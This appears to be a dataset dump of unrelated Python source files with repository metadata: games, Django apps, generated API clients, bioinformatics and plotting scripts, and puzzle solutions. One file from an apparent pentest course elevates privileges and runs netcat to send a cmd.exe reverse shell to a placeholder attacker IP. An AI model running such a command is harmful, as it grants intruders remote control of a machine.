null
null
null
null
UTF-8
Python
false
false
2,701
py
from tkinter import * import random import time class Ball: def __init__(self, canvas, paddle, color): self.canvas = canvas self.paddle = paddle self.id = canvas.create_oval(10, 10, 25, 25, fill=color) self.canvas.move(self.id, 245, 100) starts = [-3, -2, -1, 1, 2, 3] ...
[ "swell1009@qq.com" ]
swell1009@qq.com
b69fc07f785607209aa5e7a0bc332aad97fe3e9f
6b9888a32733bc9d67f290cd006fb4dca84bcaf1
/experience/templatetags/__init__.py
a6baf38fdb4d35cc22ccbc86072c811995c6c2f1
[]
no_license
Shatki/TanyaSite2.7
a2008257a63134411139594c54473e88f21df8c0
69c7d6516d3d28dbe9370d94aacce0ac04070822
refs/heads/master
2020-04-30T02:31:10.274659
2019-03-27T19:41:59
2019-03-27T19:41:59
176,562,060
0
0
null
null
null
null
UTF-8
Python
false
false
28
py
from .filters import delays
[ "Shatki@mail.ru" ]
Shatki@mail.ru
230c7858868fd3f749ca0b020713498141986b25
9043da349ef0dde4cb6d819a69992274cac99125
/app/views.py
18d64f925ce07f531d717d8d30d40975dc5db33a
[]
no_license
zcoder/cantailme-server
e78529f5fa554ff2979215f21089068629aa1259
3940c4177ecca43aa78040b129aa29327a466c29
refs/heads/master
2021-01-16T21:07:35.372771
2012-07-10T18:17:40
2012-07-10T18:17:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
372
py
from django.shortcuts import get_object_or_404 from annoying.decorators import render_to from app.models import TailSession @render_to('app/index.html') def index(request): """Index page""" return {} @render_to('app/tail.html') def tail(request, hash): """Display by hash""" return { 'session...
[ "nvbn.rm@gmail.com" ]
nvbn.rm@gmail.com
fb683de87b440fb79e7283fcdf4f67d2062f4338
c4f0a0215956ff0c29ae491a10416a72c1ce654d
/nails_project/nails_project/accounts/urls.py
d27edda41f2e3ed2b138980e290a802ebb7219da
[]
no_license
borislavstoychev/my_exam
1a2a499b2e6ac507641a9aad76576d49d4ac6a6d
9c756f76679ad85697ff123c478b765656d4ce2d
refs/heads/main
2023-07-13T12:49:40.116891
2021-08-25T08:54:44
2021-08-25T08:54:44
380,476,519
0
0
null
null
null
null
UTF-8
Python
false
false
556
py
from django.urls import path from nails_project.accounts import views urlpatterns = ( path('sign-in/', views.SignInView.as_view(), name='sign in user'), path('sign-out/', views.SignOutView.as_view(), name='sign out user'), path('sign-up/', views.SignUpView.as_view(), name='sign up user'), path('profile...
[ "stoy4ew@gmail.com" ]
stoy4ew@gmail.com
408b2759512d27d6ac6c858cf465b57ebc6a92ae
b67bcff47ed23af86edc27ea8bf8c4b24fd67434
/cyberbrain/basis.py
2c5bd59854b426b16202b843f6886116a431ef98
[ "MIT" ]
permissive
vvoody/Cyberbrain
3f0f0f671f18377566f32f5f5381ac9ab4a61bb9
bac343b6e596d270d152e345ee74c2d0b8d265a2
refs/heads/master
2020-08-24T02:36:31.111072
2019-10-21T07:04:43
2019-10-21T07:04:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,940
py
"""Some basic data structures used throughout the project.""" from collections import defaultdict from enum import Enum from typing import Dict, NamedTuple, Tuple, Union # "surrounding" is a 2-element tuple (start_lineno, end_lineno), representing a # logical line. Line number is frame-wise. # # For single-line state...
[ "laike9m@gmail.com" ]
laike9m@gmail.com
0cc1a6763c74990c23270a72d398db34d9e14368
c4f01eec090833762b884c2078161df087d09b0d
/Other documents/Term papers/Курсач (5 сем)/CourseWorkPolygon/venv/Lib/site-packages/pdhttp/models/wrist_button_states.py
54f9774741221e78c328ee18e8104101b5dcb943
[]
no_license
areyykarthik/Zhukouski_Pavel_BSU_Projects
47a30144c5614b10af521a78fba538a0e9184efa
3540979e680732d38e25a6b39f09338985de6743
refs/heads/master
2023-08-07T02:49:34.736155
2021-10-05T21:57:03
2021-10-05T21:57:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,076
py
# coding: utf-8 """ Robot API Robot REST API # noqa: E501 OpenAPI spec version: 1.8.2 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class WristButtonStates(dict): """NOTE: This class is auto generated by the swagge...
[ "shist.pupust@mail.ru" ]
shist.pupust@mail.ru
b432bf69f1eae4c948cc8044b5e361f046760d5a
054bc8696bdd429e2b3ba706feb72c0fb604047f
/python/vcf/VCFSetID/VCFSetID.py
e2d14da422c7239b968475a01174e89a00f78923
[]
no_license
wavefancy/WallaceBroad
076ea9257cec8a3e1c8f53151ccfc7c5c0d7200f
fbd00e6f60e54140ed5b4e470a8bdd5edeffae21
refs/heads/master
2022-02-22T04:56:49.943595
2022-02-05T12:15:23
2022-02-05T12:15:23
116,978,485
2
3
null
null
null
null
UTF-8
Python
false
false
2,450
py
#!/usr/bin/env python3 """ Set/Replace ID for VCF file. setID as : chr:pos:ref:alt @Author: wavefancy@gmail.com Usage: VCFSetID.py [-i] [-s] [-m int] VCFSetID.py -h | --help | -v | --version | -f | --format Notes: 1. Read vcf file from stdin, setID as : chr:pos:ref:alt. ...
[ "wavefancy@gmail.com" ]
wavefancy@gmail.com
fae7eca82ace71668d57d4156e436c6965ab22b9
132b261b16338cb7b9297bd04eaaaafe34bde89e
/sendSMSSkillLambda/package/ask_sdk_model/interfaces/audioplayer/error.py
0c4c22d8473612ca7097a846067b1f065118c3e7
[ "Apache-2.0" ]
permissive
ziniman/aws-alexa-lambda-workshop
2835b998272b01856d3dbea6481e9ee4457da2f2
d1e291ebd3e20132098541c92735d29491bfc932
refs/heads/master
2020-06-25T22:58:04.814822
2019-09-08T10:37:00
2019-09-08T10:37:00
199,446,036
0
3
Apache-2.0
2019-09-05T09:03:12
2019-07-29T12:11:58
Python
UTF-8
Python
false
false
3,562
py
# coding: utf-8 # # Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file # except in compliance with the License. A copy of the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "lice...
[ "oritalul@amazon.com" ]
oritalul@amazon.com
873ef77356637ce0e4537e113fbf9e125a3bb52c
a3597afc5aaf15723dba35d5b114f2b3e129a168
/mars/services/lifecycle/supervisor/tests/test_tracker.py
df62277ac9f2722e4ab8cefc3bfe49accb92f48e
[ "BSD-3-Clause", "CC0-1.0", "ISC", "Apache-2.0", "LicenseRef-scancode-unknown-license-reference", "BSD-2-Clause", "MIT" ]
permissive
hekaisheng/mars
5edff06194779d6005bd768dabadd9191c812cb3
49ce0c1c691d405040e53b8eb8d8af9b7e87ae55
refs/heads/master
2023-01-10T06:24:05.532213
2021-12-07T08:21:56
2021-12-07T08:21:56
160,764,275
0
2
Apache-2.0
2021-01-10T08:43:43
2018-12-07T03:12:41
Python
UTF-8
Python
false
false
3,052
py
# Copyright 1999-2021 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
[ "noreply@github.com" ]
hekaisheng.noreply@github.com
4600df2a769dabba26bb553fe5ece02566fc38c3
5598fe9705c7066407ee02245ae5f98f3fec3a54
/utils.py
309482bf5635e5221ceec060f59ecba73c132a36
[]
no_license
EgorLakomkin/TopCoderSpokenLanguageRecognition
8d2bb1608cc6d4eaf25d4bc43c48ce9e7f68bb4a
73df1b4742a71fb825d78e7f15f3a2a54339d4ef
refs/heads/master
2021-01-10T17:10:34.030434
2015-11-14T11:03:47
2015-11-14T11:03:47
46,171,260
0
0
null
null
null
null
UTF-8
Python
false
false
4,253
py
import os from subprocess import check_call from path import Path import librosa from cPickle import Pickler, Unpickler import cPickle from multiprocessing import Pool import numpy as np from features_storage import FeatureStorage DATA_DIR = './data' FEATURE_STORAGE = 'features_storage' TRAINING_FILE = os.path.join(D...
[ "you@example.com" ]
you@example.com
ff2417be8026f879c74193c9a68d160b8a26196d
c8a04384030c3af88a8e16de4cedc4ef8aebfae5
/stubs/pandas/tests/frame/test_asof.pyi
cf6de5856ad19886ade3d96fdb920a6514d14236
[ "MIT" ]
permissive
Accern/accern-xyme
f61fce4b426262b4f67c722e563bb4297cfc4235
6ed6c52671d02745efabe7e6b8bdf0ad21f8762c
refs/heads/master
2023-08-17T04:29:00.904122
2023-05-23T09:18:09
2023-05-23T09:18:09
226,960,272
3
2
MIT
2023-07-19T02:13:18
2019-12-09T20:21:59
Python
UTF-8
Python
false
false
718
pyi
# Stubs for pandas.tests.frame.test_asof (Python 3) # # NOTE: This dynamically typed stub was automatically generated by stubgen. # pylint: disable=unused-argument,redefined-outer-name,no-self-use,invalid-name # pylint: disable=relative-beyond-top-level from typing import Any def date_range_frame() -> Any: ... ...
[ "josua.krause@gmail.com" ]
josua.krause@gmail.com
2e908b9f14dad212166d5d26c5846a4014df8854
750d8ade6abc2b3bd6a24e660a4992114db6ac0c
/lib/music/plex/__init__.py
6b0e02e3511aa7df7bc5c68e754877876aaa33c2
[]
no_license
dskrypa/music_manager
8a00a4bd7b32a87dab2441614c94346fa87c4f13
ad7265fbd203962a4bf9cf6444c8e10d561a307c
refs/heads/main
2023-08-09T06:26:46.592118
2023-08-08T11:38:08
2023-08-08T11:38:08
234,730,172
5
0
null
null
null
null
UTF-8
Python
false
false
4,016
py
""" Package for working with the Plex API, and for syncing Plex ratings with ratings stored in ID3 tags. Note on fetchItems: The kwargs to fetchItem/fetchItems use __ to access nested attributes, but the only nested attributes available are those that are returned in the items in ``plex.server.query(plex._ekey(search_...
[ "dskrypa@gmail.com" ]
dskrypa@gmail.com
12c9bc75b85fee4fddb162344fe499e27e861437
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03475/s093541910.py
fba06f3b1736933db986f94190f598cc10fff7bf
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
161
py
N=int(input()) l=[0]*N for i in range(N-1): c,s,f=map(int,input().split()) l[i]=c+s for j in range(i): l[j]=max(l[j],s,-(-l[j]//f)*f)+c for i in l:print(i)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
b201b0ea2d5386b9e8b4dafdfd2fcb3d93cd1298
b665fe52aceca20944f5c7dfc74688370e514666
/dbaas/workflow/steps/redis/resize/__init__.py
5dca9388a256f4780a11cbdaff1ff49171827266
[]
no_license
tsunli/database-as-a-service
5e68ee22b1b46d30c6d83278407494971097d451
73573d495f62829259f656dfa0b642b9be4f2ead
refs/heads/master
2021-01-24T15:06:42.029936
2015-07-02T21:42:44
2015-07-02T21:42:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,626
py
# -*- coding: utf-8 -*- import logging from dbaas_cloudstack.models import HostAttr from util import exec_remote_command from workflow.exceptions.error_codes import DBAAS_0015 from util import full_stack from util import build_context_script LOG = logging.getLogger(__name__) def run_vm_script(workflow_dict, context_...
[ "raposo.felippe@gmail.com" ]
raposo.felippe@gmail.com
d26831364d5626bb2c597b32de481c75ecd14631
29a435f155f6b49b97e41241ef01274a15e9b407
/collective/packagekit/browser/util_view.py
314997a577dbc4bf2c679f3769306bb1a9686ce2
[]
no_license
kagesenshi/collective.packagekit
b55d1763bf97e884b89c9eb8f9b51c497f8ad80b
1fcefc10f1bf71b60dd671dff4783dc390c87e63
refs/heads/master
2020-06-03T18:02:22.124810
2011-12-29T14:18:44
2011-12-29T14:18:44
3,011,085
2
0
null
null
null
null
UTF-8
Python
false
false
1,146
py
from five import grok from collective.packagekit.pkappbehavior import IPackageKitApplicationBehavior from zope.interface import Interface from itertools import izip grok.templatedir('templates') from zope.security import checkPermission class PKAppUtilView(grok.View): grok.name('pkapp_util') grok.context(IPa...
[ "izhar@inigo-tech.com" ]
izhar@inigo-tech.com
bed7e0c91fb9452819a192221524a55e26a1d1c1
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2189/60795/256420.py
444dea8a9fbb5a06c9caaf11ecf79c4b1dc786bf
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
1,327
py
def test(num): num = int(num) at = 0 th, hu, de, fa = 0, 0, 0, 0 if num > 10 & num < 100: fa = num % 10 de = (num - fa) / 10 at = de * de + fa * fa elif num > 100 & num < 1000: hu = num / 100 de = num % 100 / 10 fa = num % 100 % 10 at = hu * hu...
[ "1069583789@qq.com" ]
1069583789@qq.com
ba81c2aa4666451fbfbd38a5a4791bfb95c2c518
2161711dcdc06abe39d96082edcc91ba4de95668
/test/test_asset_database_api.py
5ea2debeab40f54f3099df4feb90cffd954ce57f
[]
no_license
PriceTT/swagger-piwebapi-python
7eb25c329b33a76785cdb0484fae0dfb354722e2
20a4a47a38dfe7051b1a35831fb6cd3d2a19679a
refs/heads/master
2021-06-18T21:21:48.808589
2017-06-15T18:44:48
2017-06-15T18:44:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,687
py
# coding: utf-8 """ PI Web API 2017 Swagger Spec Swagger Spec file that describes PI Web API OpenAPI spec version: 1.9.0.266 Contact: techsupport@osisoft.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import ...
[ "eng@dstcontrols.com" ]
eng@dstcontrols.com
1c5fedb67468760e5c3073345d8d2eb82b9228ea
050ccac41c3b3b217204eb5871ca987f897b8d56
/tradeorsale/apps/item/events.py
0cef9d23f7d18247f34355e0ff52e24a94de8e5d
[]
no_license
marconi/tradeorsale
6aefc7760f389aabd7e08fe40953914f5ea60abc
6750260734f77cbf60c19ddddc83ebd27a5fb3a9
refs/heads/master
2021-01-23T20:21:24.210074
2013-01-12T09:05:09
2013-01-12T09:05:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,524
py
# # -*- coding: utf-8 -*- # import logging # from cornice import Service # from sqlalchemy.orm.exc import NoResultFound # from pyramid.i18n import TranslationString as _ # from tradeorsale.apps.item.models import Item # from tradeorsale.libs.models import DBSession # logger = logging.getLogger('tradeorsale') # jso...
[ "caketoad@gmail.com" ]
caketoad@gmail.com
9d57ea2c53588e2cb3e350113d18909ff1eb8c5b
3a0bbcf55a9150cfd2ead618012553741387447a
/doc/conf.py
51b6e782bba28d581904ac53ebc2ea34baa701ce
[ "BSD-2-Clause" ]
permissive
mrgloom/pystruct
3a086ceb5c64be689bdf7ece773e3428d903bcc2
08277d5a102e813958c9d76dd3fcc413ddb4889f
refs/heads/master
2021-01-23T21:33:20.201433
2013-09-14T14:38:03
2013-09-14T14:38:03
12,946,517
1
0
null
null
null
null
UTF-8
Python
false
false
9,771
py
# -*- coding: utf-8 -*- # # pystruct documentation build configuration file, created by # sphinx-quickstart on Fri May 3 17:14:50 2013. # # This file is execfile()d with the current directory set to its containing # dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # ...
[ "amueller@ais.uni-bonn.de" ]
amueller@ais.uni-bonn.de
69825a5a9bffc35dd9540519400ec2f710db6246
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5670465267826688_1/Python/cvarad/abc.py
1720f7c8ffacfd6974b6e997e64ca36d68e8cbc7
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
2,505
py
mult = {('j', '1'): 'j', ('k', 'i'): 'j', ('1', 'j'): 'j', ('1', '1'): '1', ('k', 'j'): '-i', ('1', 'k'): 'k', ('k', 'k'): '-1', ('j', 'i'): '-k', ('k', '1'): 'k', ('i', 'j'): 'k', ('1', 'i'): 'i', ('i', 'k'): '-j', ('j', 'k'): 'i', ('i', 'i'): '-1', ('i', '1'): 'i', ('j', 'j'): '-1'} def multiply(x, y): if x[0] =...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
1bea2d0ad3996f39218a58d6b1b0ab794fe1b9d9
c00f701c7d4f765b1be9c0a1d68861551b063185
/pages/admin.py
9fd844fc98e431223bb9e097241c2404a0b613f6
[]
no_license
Aditta-das/vege
f52921de10e492b775defc0f698cc784e011f1a9
881d99de1ae44787d504b1bb3647c873b7e7a32f
refs/heads/master
2020-12-23T19:50:18.570462
2020-01-30T17:11:07
2020-01-30T17:11:07
237,255,549
0
0
null
null
null
null
UTF-8
Python
false
false
305
py
from django.contrib import admin from .models import Detail, Comment # Register your models here. class Admin(admin.ModelAdmin): list_display = ('id', 'title', 'category', 'is_stock', 'price') list_display_links = ('id', 'title') admin.site.register(Detail, Admin) admin.site.register(Comment)
[ "ndas5662@gmail.com" ]
ndas5662@gmail.com
dccf38d64ab43cb8022c1097d9c82acdc491b23a
b09920ecdce8ab84df6a3b24b420d14c2c846078
/GrantHolders/migrations/0002_auto_20201226_1723.py
fb6fab5051eec95566994b38a46b86eaa5c75baa
[]
no_license
BakdauletBolatE/sciense2020
becdf64a3ecdfd35651b34cc045e09ee6ca804b9
4ed24162c056fc95bf8c02800116eddaf48c6387
refs/heads/main
2023-02-11T15:13:52.307403
2021-01-02T12:46:05
2021-01-02T12:46:05
324,537,781
0
0
null
null
null
null
UTF-8
Python
false
false
787
py
# Generated by Django 3.1.4 on 2020-12-26 17:23 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('GrantHolders', '0001_initial'), ] operations = [ migrations.AlterField( model_name='grantholder...
[ "bakosh21345@gmail.com" ]
bakosh21345@gmail.com
657e83359651d28d59d3c8c43f3f9ecfd7ae5c7a
b45d66c2c009d74b4925f07d0d9e779c99ffbf28
/tests/unit_tests/core_tests/service_tests/main_tests/test_main_retail_input_endpoints.py
5b43f5ae98c9a1212f70f561e05c1f1ea8ed82b7
[]
no_license
erezrubinstein/aa
d96c0e39762fe7aaeeadebbd51c80b5e58576565
a3f59ba59519183257ed9a731e8a1516a4c54b48
refs/heads/master
2021-03-12T23:44:56.319721
2016-09-18T23:01:17
2016-09-18T23:01:17
22,665,501
0
0
null
null
null
null
UTF-8
Python
false
false
6,352
py
from core.service.svc_main.implementation.service_endpoints.retail_input_endpoints import RetailInputEndpoints from core.service.svc_main.implementation.service_endpoints.endpoint_field_data import * from common.helpers.common_dependency_helper import register_common_mox_dependencies from common.utilities.inversion_of_...
[ "erezrubinstein@hotmail.com" ]
erezrubinstein@hotmail.com
ab4579ae75158d64126150e2f72325a11f188034
f0354782628e51b1a301eba1a69e9808b4adc664
/Problem/10953.py
c854b9afe7a0477b5dc15917bcc5151a1dbed25a
[]
no_license
HyunIm/Baekjoon_Online_Judge
9b289ea27440c150ef34372dc91e6f92f4102659
f3a4670ea2b6ee81fa4b1bdcad3412cb995e64f2
refs/heads/master
2023-05-26T16:54:39.643360
2023-05-23T04:07:08
2023-05-23T04:07:08
119,958,249
0
0
null
null
null
null
UTF-8
Python
false
false
92
py
T = int(input()) for _ in range(T): A, B = map(int, input().split(',')) print(A+B)
[ "hyunzion@gmail.com" ]
hyunzion@gmail.com
7ec822625c92375e8d896e391d9e29f135d560bf
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_135/1016.py
ddf1fa1b653fea35088b6d3fe64db5a02aa39fff
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
622
py
# -*- coding: utf-8 -*- f = open("A-small-attempt0.in") T = int(f.readline()) for t in range(T): a = int(f.readline()) for i in range(1, 5): s = f.readline() if i == a: firstset = set(map(int, s.split(" "))) b = int(f.readline()) for i in range(1, 5): s = f.readline...
[ "miliar1732@gmail.com" ]
miliar1732@gmail.com
94acf1ea1faefa3016f2d23ef45c62315e312dda
dbf76237e39087bf1a73243bbb019710182be0e4
/Capitulo 2/28 - autoridade2.py
0446ac6eb10b20550fa18cfc8fd429680b9e8601
[]
no_license
sandromelobrazil/Python_Para_Pentest
52edd86fa5929e0303e60e9872c027aae564becd
1837b523ad55e1c8ca066341459714e2fc88f037
refs/heads/master
2020-04-05T16:56:22.342925
2018-11-11T00:52:23
2018-11-11T00:52:23
157,035,879
1
0
null
null
null
null
UTF-8
Python
false
false
191
py
import ctypes ctypes.windll.shell32.ShellExecuteW(None, u"runas", u"psexec.exe", u"-accepteula -nobanner -s -d C:\\Users\\usuario\\Desktop\\nc.exe IP_do_atacante 666 -e cmd.exe", None, 0)
[ "sandromelo.brazil@gmail.com" ]
sandromelo.brazil@gmail.com
2e24114040a5492d2a20aa1dd70e6205c6b0a72d
806bf6a28854da12df7fad1deefa175f4e974ad6
/visualization/c2.2.25.py
6d7b77a2406ca6f0844169ce7bb3968c0b62250e
[]
no_license
qliu0/PythonInAirSeaScience
ba613e61ce331e5e2b4b5c0045f0223cde42718b
1c8d5fbf3676dc81e9f143e93ee2564359519b11
refs/heads/master
2023-08-28T08:24:15.894918
2021-08-26T12:26:58
2021-08-26T12:26:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
772
py
from mpl_toolkits.basemap import Basemap import numpy as np import matplotlib.pyplot as plt # lat_1、lat_2 分别是第一、二标准纬线 m = Basemap(width=12000000,height=9000000,\ resolution='l',projection='eqdc',\ lat_1=45.,lat_2=55,lat_0=50,lon_0=108.) m.drawcoastlines() m.fillcontinents(color='y',lake_color='c...
[ "queensbarry@foxmail.com" ]
queensbarry@foxmail.com
afb3a5e9967dbe9b0e8519795602b3cb86d2e631
39fa2df1ab72444f3fe62d29c2dd146fbcdff564
/test1/MyDjangoSite/myTest/views.py
1b8c643053f6869de091845b2306c03bae1a14f1
[]
no_license
gaozhidf/django
faa6c3f623075efc9c30f039ae93c8d02decb085
8526c2b33cc41dee9a636d126366990fb502834b
refs/heads/master
2021-01-01T17:15:52.834568
2015-08-13T09:26:26
2015-08-13T09:26:26
40,441,228
0
0
null
null
null
null
UTF-8
Python
false
false
290
py
from django.shortcuts import render # Create your views here. from django.http import HttpResponse, Http404 def hello(request): return HttpResponse("Hello world") def hello1(request, num): try: num = int(num) HttpResponse("Hello world too") except ValueError: raise Http404()
[ "gaozhidf@gmail.com" ]
gaozhidf@gmail.com
e0b92735daaf2063e1e568e4174e38dfd2c19568
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Projects/twilio/build/lib/twilio/rest/api/v2010/account/conference/participant.py
b7979a9d6f17baa5d7fd2d1d56c1a25272656037
[ "LicenseRef-scancode-other-permissive" ]
permissive
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
130
py
version https://git-lfs.github.com/spec/v1 oid sha256:517e39235cd9a18aa43315a0f2243a0b6f051535285cb71b5db98d5aec53da01 size 30162
[ "nateweiler84@gmail.com" ]
nateweiler84@gmail.com
3b15727e1ace910554d9e47e1fc36e68e74aabc0
c2002f5451a52450db536088cf1f4beec9d23d7f
/0x1C-makefiles/5-island_perimeter.py
8032bfe4825143c89eebadc851220ba5e6f3a2c5
[]
no_license
JulianCanoDev/holbertonschool-low_level_programming
d23e10cb14d4cf5bffcb8601bb2e4a7eaf3c3038
6484d00870b0578a8acaba0ff125bf2e476828dc
refs/heads/master
2021-07-12T21:10:35.513238
2021-06-22T22:25:17
2021-06-22T22:25:17
238,518,191
0
0
null
null
null
null
UTF-8
Python
false
false
540
py
#!/usr/bin/python3 """ Defines an island perimeter measuring """ def island_perimeter(grid): """ Return the perimiter of an island """ width = len(grid[0]) height = len(grid) edges = 0 size = 0 for i in range(height): for j in range(width): if grid[i][j] == 1: ...
[ "juliancano.dev@gmail.com" ]
juliancano.dev@gmail.com
661c565ec03275a3d21d78d26923358819478938
b683c8f1942a1ab35062620c6013b1e223c09e92
/Python-Files/Day-21/Question-87-alternative-solution-2.py
d1f23c21c0e660f4e332852acd43bab6779845c7
[]
no_license
nihathalici/Break-The-Ice-With-Python
601e1c0f040e02fe64103c77795deb2a5d8ff00a
ef5b9dd961e8e0802eee171f2d54cdb92f2fdbe8
refs/heads/main
2023-07-18T01:13:27.277935
2021-08-27T08:19:44
2021-08-27T08:19:44
377,414,827
0
0
null
null
null
null
UTF-8
Python
false
false
426
py
""" Question 87 Question With two given lists [1,3,6,78,35,55] and [12,24,35,24,88,120,155], write a program to make a list whose elements are intersection of the above given lists. Hints Use set() and "&=" to do set intersection operation. """ list1 = [1, 3, 6, 78, 35, 55] list2 = [12, 24, 35, 24, 88, 120, 155] set...
[ "noreply@github.com" ]
nihathalici.noreply@github.com